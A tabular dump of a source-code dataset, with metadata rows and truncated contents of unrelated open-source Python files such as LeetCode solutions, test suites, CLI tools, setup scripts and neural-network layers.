hexsha stringlengths 40 40 | size int64 2 1.05M | ext stringclasses 9
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 193 | max_stars_repo_name stringlengths 6 109 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 36.6k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 193 | max_issues_repo_name stringlengths 6 109 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 29.8k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 193 | max_forks_repo_name stringlengths 6 109 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 11.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.05M | avg_line_length float64 1 404k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ac0b39275d3539e83041db32829caa1370193789 | 13,176 | py | Python | pkg_1/scriptTesting7.py | giuseppemas/3gruppo_4_TDP | d85c5e232cbaa0a9a3512fdce906ea9fab7b1334 | [
"MIT"
] | null | null | null | pkg_1/scriptTesting7.py | giuseppemas/3gruppo_4_TDP | d85c5e232cbaa0a9a3512fdce906ea9fab7b1334 | [
"MIT"
] | null | null | null | pkg_1/scriptTesting7.py | giuseppemas/3gruppo_4_TDP | d85c5e232cbaa0a9a3512fdce906ea9fab7b1334 | [
"MIT"
] | null | null | null | '''Valutare sperimentalmente le prestazioni dei due metodi su un campione di almeno k grafi (con k > 50) con n vertici
(n > 50) con scelti a caso. Per ciascun grafo fornire le dimensioni dei vertex cover restituiti dai due metodi ed i
relativi tempi di esecuzione. Calcolare di quanto in media l’algoritmo greedy è più... | 32.694789 | 124 | 0.625152 |
ac0b4d9006543a51ed19b53e4d31b711e7054713 | 7,736 | py | Python | mmcif/sitegen/dictionary/HtmlGenerator.py | rcsb/py-mmcif_sitegen | 93be68dca60d6378b21c2b10199516f944624020 | [
"Apache-2.0"
] | null | null | null | mmcif/sitegen/dictionary/HtmlGenerator.py | rcsb/py-mmcif_sitegen | 93be68dca60d6378b21c2b10199516f944624020 | [
"Apache-2.0"
] | null | null | null | mmcif/sitegen/dictionary/HtmlGenerator.py | rcsb/py-mmcif_sitegen | 93be68dca60d6378b21c2b10199516f944624020 | [
"Apache-2.0"
] | null | null | null | ##
# File: HtmlGenerator.py
# Author: jdw
# Date: 19-Aug-2013
# Version: 0.001
#
# Updates:
# 10-Mar-2018 jdw Py2-P3 and refactor for Python packaging --
# 30-Dec-2020 jdw cleanup and Py39
##
"""
Classes to manage creation of files and directories representing PDBx/mmCIF
dictionaries in HTML format.
"""
__... | 35.163636 | 121 | 0.58622 |
ac0b52be29dcfdb73f1de8cd3849df08ba405ba1 | 2,695 | py | Python | tests/system_check/python_check.py | yoiwa-personal/suid_sudo | 18db5ded769305b4d22ca117511434a1d4be9c36 | [
"Apache-2.0"
] | null | null | null | tests/system_check/python_check.py | yoiwa-personal/suid_sudo | 18db5ded769305b4d22ca117511434a1d4be9c36 | [
"Apache-2.0"
] | null | null | null | tests/system_check/python_check.py | yoiwa-personal/suid_sudo | 18db5ded769305b4d22ca117511434a1d4be9c36 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python3 -I
import sys
import os
import os.path
import json
import subprocess
# check system behavior for suid-sudo
original_sys_path = sys.path[0:]
sys.path.insert(0, os.path.dirname(__file__))
import common_lib
from common_lib import *
sys.path[0:] = original_sys_path
def sudo_test():
subtest_start(... | 28.368421 | 142 | 0.633766 |
ac0b59b9b596ad4484043e13543fe754275d2a0d | 910 | py | Python | setup.py | zanachka/ural | c66c6fc3d217e5ba298d1dc71faa3c99b4475b8c | [
"MIT"
] | 30 | 2018-09-28T22:17:35.000Z | 2022-01-07T18:33:33.000Z | setup.py | zanachka/ural | c66c6fc3d217e5ba298d1dc71faa3c99b4475b8c | [
"MIT"
] | 79 | 2018-10-26T11:41:58.000Z | 2022-02-28T10:24:44.000Z | setup.py | zanachka/ural | c66c6fc3d217e5ba298d1dc71faa3c99b4475b8c | [
"MIT"
] | 7 | 2019-04-26T15:16:28.000Z | 2022-01-06T14:21:44.000Z | from setuptools import setup, find_packages
with open('./README.md', 'r') as f:
long_description = f.read()
setup(name='ural',
version='0.32.1',
description='A helper library full of URL-related heuristics.',
long_description=long_description,
long_description_content_type='text/markdown',... | 36.4 | 165 | 0.649451 |
ac0b5fd8ef36a6700329df7d9668793306f57c93 | 278 | py | Python | Code Forces/Round 644/D.buying_shovels.py | mishrakeshav/Competitive-Programming | b25dcfeec0fb9a9c71bf3a05644b619f4ca83dd2 | [
"MIT"
] | 2 | 2020-06-25T21:10:32.000Z | 2020-12-10T06:53:45.000Z | Code Forces/Round 644/D.buying_shovels.py | mishrakeshav/Competitive-Programming | b25dcfeec0fb9a9c71bf3a05644b619f4ca83dd2 | [
"MIT"
] | null | null | null | Code Forces/Round 644/D.buying_shovels.py | mishrakeshav/Competitive-Programming | b25dcfeec0fb9a9c71bf3a05644b619f4ca83dd2 | [
"MIT"
] | 3 | 2020-05-15T14:17:09.000Z | 2021-07-25T13:18:20.000Z | for t in range(int(input())):
n, k = map(int, input().split())
mx = n
for i in range(1, int(n**0.5) + 1):
if n % i == 0:
if i <= k:
mx = min(mx, n // i)
if n // i <= k:
mx = min(mx, i)
print(mx)
| 19.857143 | 39 | 0.348921 |
ac0b78929e409f328575e4352755b397d5c3e1d0 | 412 | py | Python | examples/input.py | Defite/python-base | ef5eeb7098513a4016397f3f527562fe0ae50071 | [
"MIT"
] | null | null | null | examples/input.py | Defite/python-base | ef5eeb7098513a4016397f3f527562fe0ae50071 | [
"MIT"
] | null | null | null | examples/input.py | Defite/python-base | ef5eeb7098513a4016397f3f527562fe0ae50071 | [
"MIT"
] | null | null | null | #! /usr/bin/env python
name = input("Name: ")
job = input("Occupation: ")
location = input("Location: ")
print("Hey, {0}, being {1} in {2} must be exciting!".format(name, job, location));
response = input("Is it? ")
if response in ("yeah", "y", "yes"):
print("How exciting!")
elif response in ("nope", "n", "no")... | 24.235294 | 82 | 0.601942 |
ac0baff7c801b9e56684a8077e8d3c83673b0c6f | 474 | py | Python | Easy/0703 Kth Largest Element in a Stream.py | raj713335/LeetCode | e60e145d90f45d37e148e8307a3d97f5f0741de0 | [
"Apache-2.0"
] | null | null | null | Easy/0703 Kth Largest Element in a Stream.py | raj713335/LeetCode | e60e145d90f45d37e148e8307a3d97f5f0741de0 | [
"Apache-2.0"
] | null | null | null | Easy/0703 Kth Largest Element in a Stream.py | raj713335/LeetCode | e60e145d90f45d37e148e8307a3d97f5f0741de0 | [
"Apache-2.0"
] | null | null | null | # https://leetcode.com/problems/kth-largest-element-in-a-stream/
class KthLargest:
def __init__(self, k: int, nums: List[int]):
self.k = k
self.nums = nums
def add(self, val: int) -> int:
self.nums.append(val)
self.nums = sorted(self.nums, reverse = True)
ret... | 22.571429 | 65 | 0.609705 |
ac0bd8d81e912ba9ed6b04d56fbcabee8f54abbf | 2,714 | py | Python | application/services/docker.py | Markcial/alembic | 752cbb8038278d0b8c996a386c6632158a841299 | [
"MIT"
] | null | null | null | application/services/docker.py | Markcial/alembic | 752cbb8038278d0b8c996a386c6632158a841299 | [
"MIT"
] | null | null | null | application/services/docker.py | Markcial/alembic | 752cbb8038278d0b8c996a386c6632158a841299 | [
"MIT"
] | null | null | null | import subprocess
import json
class Container(object):
name = None
Status = None
Running = None
Paused = None
Restarting = None
OOMKilled = None
Dead = None
Pid = None
ExitCode = None
Error = None
StartedAt = None
FinishedAt = None
def __init__(self, name):
... | 22.245902 | 64 | 0.582903 |
ac0bf7943854f273f8a0c118fa56dbb1993fd40e | 7,863 | py | Python | tests/structure_tests/test_abstract_note.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | 1 | 2021-05-06T19:45:54.000Z | 2021-05-06T19:45:54.000Z | tests/structure_tests/test_abstract_note.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | null | null | null | tests/structure_tests/test_abstract_note.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | null | null | null | import unittest
from structure.note import Note
from structure.beam import Beam
from structure.tuplet import Tuplet
from structure.abstract_note import AbstractNote
from tonalmodel.diatonic_pitch import DiatonicPitch
from timemodel.duration import Duration
from timemodel.offset import Offset
from timemodel.offset impo... | 38.544118 | 86 | 0.556403 |
ac0c02ea220912be82c3666683d8090a23c5f491 | 38,969 | py | Python | tests/aws_lambda_fsm/test_fsm.py | shawn-rusaw/aws-lambda-fsm-workflows | 9fcf5af14bf0f4500d4a7e7b3e0eda00423c1d42 | [
"Apache-2.0"
] | 21 | 2017-01-26T21:23:57.000Z | 2021-08-07T02:56:49.000Z | tests/aws_lambda_fsm/test_fsm.py | shawn-rusaw/aws-lambda-fsm-workflows | 9fcf5af14bf0f4500d4a7e7b3e0eda00423c1d42 | [
"Apache-2.0"
] | 151 | 2016-11-29T05:09:33.000Z | 2021-05-19T22:47:58.000Z | tests/aws_lambda_fsm/test_fsm.py | shawn-rusaw/aws-lambda-fsm-workflows | 9fcf5af14bf0f4500d4a7e7b3e0eda00423c1d42 | [
"Apache-2.0"
] | 17 | 2016-11-29T05:07:58.000Z | 2021-05-04T21:22:29.000Z | # Copyright 2016-2020 Workiva Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... | 41.02 | 120 | 0.542559 |
ac0c039adb349b471998e4b7e44bcd3b1aa1deb4 | 502 | py | Python | torus/util.py | sckevmit/torus | b815f259db856c5c73c87009fe93bbf6ad08f1ff | [
"BSD-3-Clause"
] | 13 | 2015-02-23T22:45:24.000Z | 2021-05-23T06:17:35.000Z | torus/util.py | sckevmit/torus | b815f259db856c5c73c87009fe93bbf6ad08f1ff | [
"BSD-3-Clause"
] | null | null | null | torus/util.py | sckevmit/torus | b815f259db856c5c73c87009fe93bbf6ad08f1ff | [
"BSD-3-Clause"
] | 1 | 2017-02-25T10:14:16.000Z | 2017-02-25T10:14:16.000Z | '''
Copyright (c) 2013, Agora Games, LLC All rights reserved.
https://github.com/agoragames/torus/blob/master/LICENSE.txt
'''
import time
import parsedatetime as pdt
cal = pdt.Calendar()
def parse_time(t):
'''
Parse a time value from a string, return a float in Unix epoch format.
If no time can be parsed from ... | 21.826087 | 72 | 0.687251 |
ac0c18c579361a4dd2c15a6daf3690f0f569e90e | 6,411 | py | Python | library/python/testing/yatest_common/yatest/common/network.py | r1nadeg/04_catboost | 6755bbbd1496540b92ded57eea1974f64bef87c5 | [
"Apache-2.0"
] | null | null | null | library/python/testing/yatest_common/yatest/common/network.py | r1nadeg/04_catboost | 6755bbbd1496540b92ded57eea1974f64bef87c5 | [
"Apache-2.0"
] | null | null | null | library/python/testing/yatest_common/yatest/common/network.py | r1nadeg/04_catboost | 6755bbbd1496540b92ded57eea1974f64bef87c5 | [
"Apache-2.0"
] | 1 | 2018-08-06T14:13:12.000Z | 2018-08-06T14:13:12.000Z | # coding=utf-8
import os
import errno
import socket
import random
import platform
import threading
UI16MAXVAL = (1 << 16) - 1
class PortManagerException(Exception):
pass
class PortManager(object):
"""
See documentation here
https://wiki.yandex-team.ru/yatool/test/#poluchenieportovdljatestirovanij... | 29.273973 | 127 | 0.581189 |
ac0c1a02f83d3a72ba7fe74401edb6d1a89a5316 | 161 | py | Python | tests/test_vparse.py | brunosmmm/hdltools | a98ca8c4d168740fa229c939a7b1f31ea73eec24 | [
"MIT"
] | 2 | 2020-02-28T13:02:39.000Z | 2021-06-30T09:15:35.000Z | tests/test_vparse.py | brunosmmm/hdltools | a98ca8c4d168740fa229c939a7b1f31ea73eec24 | [
"MIT"
] | 1 | 2020-03-22T17:32:45.000Z | 2020-03-23T15:43:39.000Z | tests/test_vparse.py | brunosmmm/hdltools | a98ca8c4d168740fa229c939a7b1f31ea73eec24 | [
"MIT"
] | null | null | null | """Test verilog module parser."""
from hdltools.verilog.parser import VerilogModuleParser
def test_vparser():
VerilogModuleParser("tests/assets/test.v")
| 17.888889 | 55 | 0.763975 |
ac0c27bf464c98c5f9ac0a318de913dc7ebe3ead | 1,590 | py | Python | masjid_util.py | hamir/islam-buddy | 3ec70d74814cbed719ecc3683668a0e5fb5a410c | [
"MIT"
] | 7 | 2017-10-26T00:23:17.000Z | 2021-01-21T06:27:46.000Z | masjid_util.py | hamir/islam-buddy | 3ec70d74814cbed719ecc3683668a0e5fb5a410c | [
"MIT"
] | 12 | 2017-05-23T22:54:50.000Z | 2019-07-31T17:26:17.000Z | masjid_util.py | hamir/islam-buddy | 3ec70d74814cbed719ecc3683668a0e5fb5a410c | [
"MIT"
] | 5 | 2017-05-23T00:44:10.000Z | 2019-10-23T14:57:35.000Z | """Masjid Utility functions."""
# The following METADATA maps to the masjid-name entity
# Changes in the masjid-name entity are to be reflected here
_MASJID_METADATA = {
'MCA': {
'key_name': 'MCA',
'display_name': 'MCA',
'id': 8,
},
'Noor': {
'key_name': 'Noor',
'dis... | 23.731343 | 76 | 0.586792 |
ac0c43ee9c444628760f7afc7a1d54b578c74c18 | 8,736 | py | Python | nova/hacking/checks.py | rossella/nova | 9b1180d5a09227604a470cb9d0790b57daf1b6d7 | [
"Apache-2.0"
] | null | null | null | nova/hacking/checks.py | rossella/nova | 9b1180d5a09227604a470cb9d0790b57daf1b6d7 | [
"Apache-2.0"
] | null | null | null | nova/hacking/checks.py | rossella/nova | 9b1180d5a09227604a470cb9d0790b57daf1b6d7 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2012, Cloudscaling
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 33.72973 | 79 | 0.634615 |
ac0c4e176a3ce3fc8031a1ce193bb5f5dd2770a0 | 4,650 | py | Python | src/tantale/client/server.py | redref/tantale | 358748e7d4a1d87ee48168a03ed68acefb2b9ca2 | [
"Apache-2.0"
] | null | null | null | src/tantale/client/server.py | redref/tantale | 358748e7d4a1d87ee48168a03ed68acefb2b9ca2 | [
"Apache-2.0"
] | null | null | null | src/tantale/client/server.py | redref/tantale | 358748e7d4a1d87ee48168a03ed68acefb2b9ca2 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
from __future__ import print_function
import os
import signal
import traceback
import logging
import time
import json
import socket
from threading import Thread, Event
from six import b as bytes
from tantale.utils import load_class
from tantale import sources
try:
from Queue import Queue
except:... | 28.181818 | 77 | 0.515269 |
ac0c72dca4103864b2167659558e82ba8b0a7733 | 2,501 | py | Python | .leetcode/350.intersection-of-two-arrays-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/350.intersection-of-two-arrays-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/350.intersection-of-two-arrays-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | # @lc app=leetcode id=350 lang=python3
#
# [350] Intersection of Two Arrays II
#
# https://leetcode.com/problems/intersection-of-two-arrays-ii/description/
#
# algorithms
# Easy (52.64%)
# Likes: 2549
# Dislikes: 542
# Total Accepted: 543.7K
# Total Submissions: 1M
# Testcase Example: '[1,2,2,1]\n[2,2]'
#
# Give... | 20.841667 | 78 | 0.582967 |
ac0c76b23c63ba926ab361c5e47d60cd4e9648d7 | 11,861 | py | Python | datalad/interface/tests/test_run_procedure.py | christinerogers/datalad | 8b91f3767b45371e213aa7ade146a290a13c00f2 | [
"MIT"
] | 1 | 2021-06-11T19:54:19.000Z | 2021-06-11T19:54:19.000Z | datalad/interface/tests/test_run_procedure.py | christinerogers/datalad | 8b91f3767b45371e213aa7ade146a290a13c00f2 | [
"MIT"
] | 1 | 2019-08-30T14:45:33.000Z | 2019-08-30T14:45:33.000Z | datalad/interface/tests/test_run_procedure.py | christinerogers/datalad | 8b91f3767b45371e213aa7ade146a290a13c00f2 | [
"MIT"
] | null | null | null | # emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-; coding: utf-8 -*-
# ex: set sts=4 ts=4 sw=4 noet:
# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
#
# See COPYING file distributed along with the datalad package for the
# copyright and license t... | 33.317416 | 106 | 0.637552 |
ac0c85555e34e5fc708bacdde6a4f6ef23709daf | 1,965 | py | Python | nicos_mlz/kws2/setups/sample.py | mlz-ictrl/nicos | a6de0bc194ba42e3dc04a033713b41b5499ba8e1 | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 12 | 2019-11-06T15:40:36.000Z | 2022-01-01T16:23:00.000Z | nicos_mlz/kws2/setups/sample.py | ess-dmsc/nicos | 755d61d403ff7123f804c45fc80c7ff4d762993b | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 91 | 2020-08-18T09:20:26.000Z | 2022-02-01T11:07:14.000Z | nicos_mlz/kws2/setups/sample.py | mlz-ictrl/nicos | a6de0bc194ba42e3dc04a033713b41b5499ba8e1 | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 6 | 2020-01-11T10:52:30.000Z | 2022-02-25T12:35:23.000Z | # -*- coding: utf-8 -*-
description = 'Sample aperture and table'
group = 'lowlevel'
display_order = 35
excludes = ['virtual_sample']
tango_base = 'tango://phys.kws2.frm2:10000/kws2/'
devices = dict(
ap_sam_x0 = device('nicos.devices.entangle.Motor',
description = 'sample aperture horz. blade 0',
... | 30.703125 | 57 | 0.584733 |
ac0c8729aa498249703102ea0f30adabcd30e835 | 54 | py | Python | anonymizer/__init__.py | jjhuang/django-anonymizer | 2d25bb6e8b5e4230c58031c4b6d10cc536669b3e | [
"MIT"
] | 13 | 2016-05-24T07:40:17.000Z | 2021-09-07T20:38:18.000Z | anonymizer/__init__.py | jjhuang/django-anonymizer | 2d25bb6e8b5e4230c58031c4b6d10cc536669b3e | [
"MIT"
] | 32 | 2015-02-02T23:39:32.000Z | 2021-01-14T06:29:05.000Z | anonymizer/__init__.py | jjhuang/django-anonymizer | 2d25bb6e8b5e4230c58031c4b6d10cc536669b3e | [
"MIT"
] | 14 | 2015-03-22T15:22:24.000Z | 2020-01-09T19:03:01.000Z | # flake8: noqa
from anonymizer.base import Anonymizer
| 18 | 38 | 0.814815 |
ac0c9c066b9499c9c4cdcf6c1dd579d7ceadd4a5 | 769 | py | Python | cursoemvideoPy/Mundo3/aula18.py | BrCarlini/exPython | 3bed986e5bfa5eae191b6b18306448926aed48fd | [
"MIT"
] | null | null | null | cursoemvideoPy/Mundo3/aula18.py | BrCarlini/exPython | 3bed986e5bfa5eae191b6b18306448926aed48fd | [
"MIT"
] | null | null | null | cursoemvideoPy/Mundo3/aula18.py | BrCarlini/exPython | 3bed986e5bfa5eae191b6b18306448926aed48fd | [
"MIT"
] | null | null | null | '''
teste = list()
teste.append('Gustavo')
teste.append(40)
galera = list()
galera.append(teste[:])
teste[0] = 'Maria'
teste[1] = 22
galera.append(teste[:])
galera = [['João', 19], ['Ana', 33], ['Joaquim', 13], ['Maria', 45]]
for p in galera:
print(f'{p[0]} tem {p[1]} anos de idade.')
'''
galera = list()
dado = l... | 22.617647 | 68 | 0.587776 |
ac0cf006f2017712c3851e523ba7d4683f742bc2 | 1,847 | py | Python | blousebrothers/catalogue/migrations/0014_auto_20180716_1504.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | 1 | 2022-01-27T11:58:10.000Z | 2022-01-27T11:58:10.000Z | blousebrothers/catalogue/migrations/0014_auto_20180716_1504.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | 5 | 2021-03-19T00:01:54.000Z | 2022-03-11T23:46:21.000Z | blousebrothers/catalogue/migrations/0014_auto_20180716_1504.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.14 on 2018-07-16 15:04
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('catalogue', '0013_auto_20170816_1312'),
]
operati... | 45.04878 | 375 | 0.636708 |
ac0d0c8b44d08b56d06a962c0fa35951454cb7be | 252 | py | Python | nginx/datadog_checks/nginx/__init__.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | 4 | 2021-06-21T19:21:49.000Z | 2021-06-23T21:21:55.000Z | nginx/datadog_checks/nginx/__init__.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | 1 | 2018-08-15T05:50:17.000Z | 2018-08-15T05:50:17.000Z | nginx/datadog_checks/nginx/__init__.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | 1 | 2021-06-21T19:21:51.000Z | 2021-06-21T19:21:51.000Z | # (C) Datadog, Inc. 2018
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
from .__about__ import __version__
from .nginx import Nginx, VTS_METRIC_MAP
__all__ = [
'__version__',
'Nginx',
'VTS_METRIC_MAP',
]
| 21 | 59 | 0.710317 |
ac0d2d9ed9f94763f25406ae03b3041d1cb76ee7 | 4,311 | py | Python | oeml-sdk/python/openapi_client/models/position.py | oskaralfons/coinapi-sdk | 2c79b6d91d0f702040dd865e79f0774a4bba9bb3 | [
"MIT"
] | 1 | 2020-07-23T05:47:52.000Z | 2020-07-23T05:47:52.000Z | oeml-sdk/python/openapi_client/models/position.py | oskaralfons/coinapi-sdk | 2c79b6d91d0f702040dd865e79f0774a4bba9bb3 | [
"MIT"
] | null | null | null | oeml-sdk/python/openapi_client/models/position.py | oskaralfons/coinapi-sdk | 2c79b6d91d0f702040dd865e79f0774a4bba9bb3 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
OEML - REST API
This section will provide necessary information about the `CoinAPI OEML REST API` protocol. This API is also available in the Postman application: <a href=\"https://postman.coinapi.io/\" target=\"_blank\">https://postman.coinapi.io/</a> # noqa: E501
The version... | 28.74 | 261 | 0.582695 |
ac0d2ed524aaef216ab13d994e8c4aa2fccf1e57 | 3,958 | py | Python | custom_components/xiaomi_gateway3/core/ezsp.py | zvldz/homeassistant | becbe7087e3cf152cce2f9bb3670e3a0a283fc79 | [
"BSD-2-Clause"
] | 13 | 2019-06-04T12:23:25.000Z | 2021-11-23T17:24:27.000Z | custom_components/xiaomi_gateway3/core/ezsp.py | zvldz/homeassistant | becbe7087e3cf152cce2f9bb3670e3a0a283fc79 | [
"BSD-2-Clause"
] | 1 | 2020-10-22T11:14:24.000Z | 2020-10-22T18:36:30.000Z | custom_components/xiaomi_gateway3/core/ezsp.py | zvldz/homeassistant | becbe7087e3cf152cce2f9bb3670e3a0a283fc79 | [
"BSD-2-Clause"
] | 1 | 2020-08-25T18:41:34.000Z | 2020-08-25T18:41:34.000Z | import io
import logging
import socket
import time
from typing import Optional
from ..util.elelabs_ezsp_utility import EzspProtocolInterface
_LOGGER = logging.getLogger(__name__)
# noinspection PyUnusedLocal
class EzspUtils:
sock: socket = None
version: str = None
# used in EzspProtocolInterface, values... | 27.873239 | 76 | 0.555836 |
ac0d37e3232cfd259dda8423db8a14b1015619bf | 1,262 | py | Python | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2018_06_17_preview/models/__init__.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-03-09T08:59:13.000Z | 2022-03-09T08:59:13.000Z | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2018_06_17_preview/models/__init__.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2018_06_17_preview/models/__init__.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-03-04T06:21:56.000Z | 2022-03-04T06:21:56.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 31.55 | 94 | 0.684628 |
ac0d5803593102c4006be1490e854b2ca4141f74 | 1,271 | py | Python | 1649. Create Sorted Array through Instructions DC (10-1-21).py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | 4 | 2020-11-17T05:24:24.000Z | 2021-06-14T21:01:45.000Z | 1649. Create Sorted Array through Instructions DC (10-1-21).py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | null | null | null | 1649. Create Sorted Array through Instructions DC (10-1-21).py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | null | null | null | # TLE - the sort method results in TLE
class Solution:
def createSortedArray(self, instructions: List[int]) -> int:
nums = []
dairy = defaultdict(int)
cost = 0
def findindex(nums,ins):
left, right = 0, 0
for i in dairy:
if i<ins:
... | 30.261905 | 79 | 0.483084 |
ac0d5a365fd55528846d0d65eff3de34f0c0f3b7 | 1,064 | py | Python | baldr/content_type_resolvers.py | sobolevn/baldr | 6413de0b87722957e5a49bd441b18dcb934864f5 | [
"BSD-3-Clause"
] | 4 | 2019-08-07T22:29:33.000Z | 2021-12-19T14:25:39.000Z | baldr/content_type_resolvers.py | sobolevn/baldr | 6413de0b87722957e5a49bd441b18dcb934864f5 | [
"BSD-3-Clause"
] | 2 | 2016-12-15T15:46:26.000Z | 2020-06-06T23:07:56.000Z | baldr/content_type_resolvers.py | sobolevn/baldr | 6413de0b87722957e5a49bd441b18dcb934864f5 | [
"BSD-3-Clause"
] | 3 | 2015-09-27T16:43:40.000Z | 2020-06-06T23:04:07.000Z | # coding=utf-8
from django.conf import settings
def accepts_header():
"""
Resolve content type from the accepts header of a request.
"""
def inner(request):
return request.META.get('accepts')
return inner
def content_type_header():
"""
Resolve content type from the content_type h... | 22.638298 | 91 | 0.682331 |
ac0d7976b98ff40e5cc4367bd07abf905e47c641 | 12,592 | py | Python | distributed/cli/dask_worker.py | willirath/distributed | 67fe8208a0a6edc18e02a4c5080d81fb11eab338 | [
"BSD-3-Clause"
] | 1 | 2020-12-07T14:35:09.000Z | 2020-12-07T14:35:09.000Z | distributed/cli/dask_worker.py | willirath/distributed | 67fe8208a0a6edc18e02a4c5080d81fb11eab338 | [
"BSD-3-Clause"
] | null | null | null | distributed/cli/dask_worker.py | willirath/distributed | 67fe8208a0a6edc18e02a4c5080d81fb11eab338 | [
"BSD-3-Clause"
] | null | null | null | import asyncio
import atexit
from contextlib import suppress
import logging
import gc
import os
import signal
import sys
import warnings
import click
import dask
from dask.system import CPU_COUNT
from distributed import Nanny
from distributed.cli.utils import check_python_3, install_signal_handlers
from distributed.co... | 27.920177 | 95 | 0.634848 |
ac0d9a93bfbf829e0867e53c2e1367786f2cd0cd | 5,250 | py | Python | code/layers/hyp_layers.py | shaanchandra/SAFER | 0f98a1d2080e120174f17370d9d0472901a1c4a1 | [
"MIT"
] | 12 | 2020-09-13T10:07:45.000Z | 2022-01-12T02:22:34.000Z | code/layers/hyp_layers.py | shaanchandra/SAFER | 0f98a1d2080e120174f17370d9d0472901a1c4a1 | [
"MIT"
] | 1 | 2020-10-28T18:10:03.000Z | 2020-10-28T18:10:03.000Z | code/layers/hyp_layers.py | shaanchandra/SAFER | 0f98a1d2080e120174f17370d9d0472901a1c4a1 | [
"MIT"
] | 4 | 2021-01-14T09:54:14.000Z | 2022-01-15T16:47:54.000Z | """Hyperbolic layers."""
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.nn.init as init
from torch.nn.modules.module import Module
from layers.att_layers import DenseAtt
def get_dim_act_curv(args):
"""
Helper function to get dimension and activation at every laye... | 31.25 | 106 | 0.620571 |
ac0dc3dc0c23e43fe275a05efd53b2000b841d26 | 102 | py | Python | dagger/client/__init__.py | ko-han/dagger | 839de31f7b23f6bcf14c33d822e23d4ce5323815 | [
"MIT"
] | null | null | null | dagger/client/__init__.py | ko-han/dagger | 839de31f7b23f6bcf14c33d822e23d4ce5323815 | [
"MIT"
] | null | null | null | dagger/client/__init__.py | ko-han/dagger | 839de31f7b23f6bcf14c33d822e23d4ce5323815 | [
"MIT"
] | null | null | null | from dagger.client._client import Client
from dagger.client._configuration import ClientConfiguration
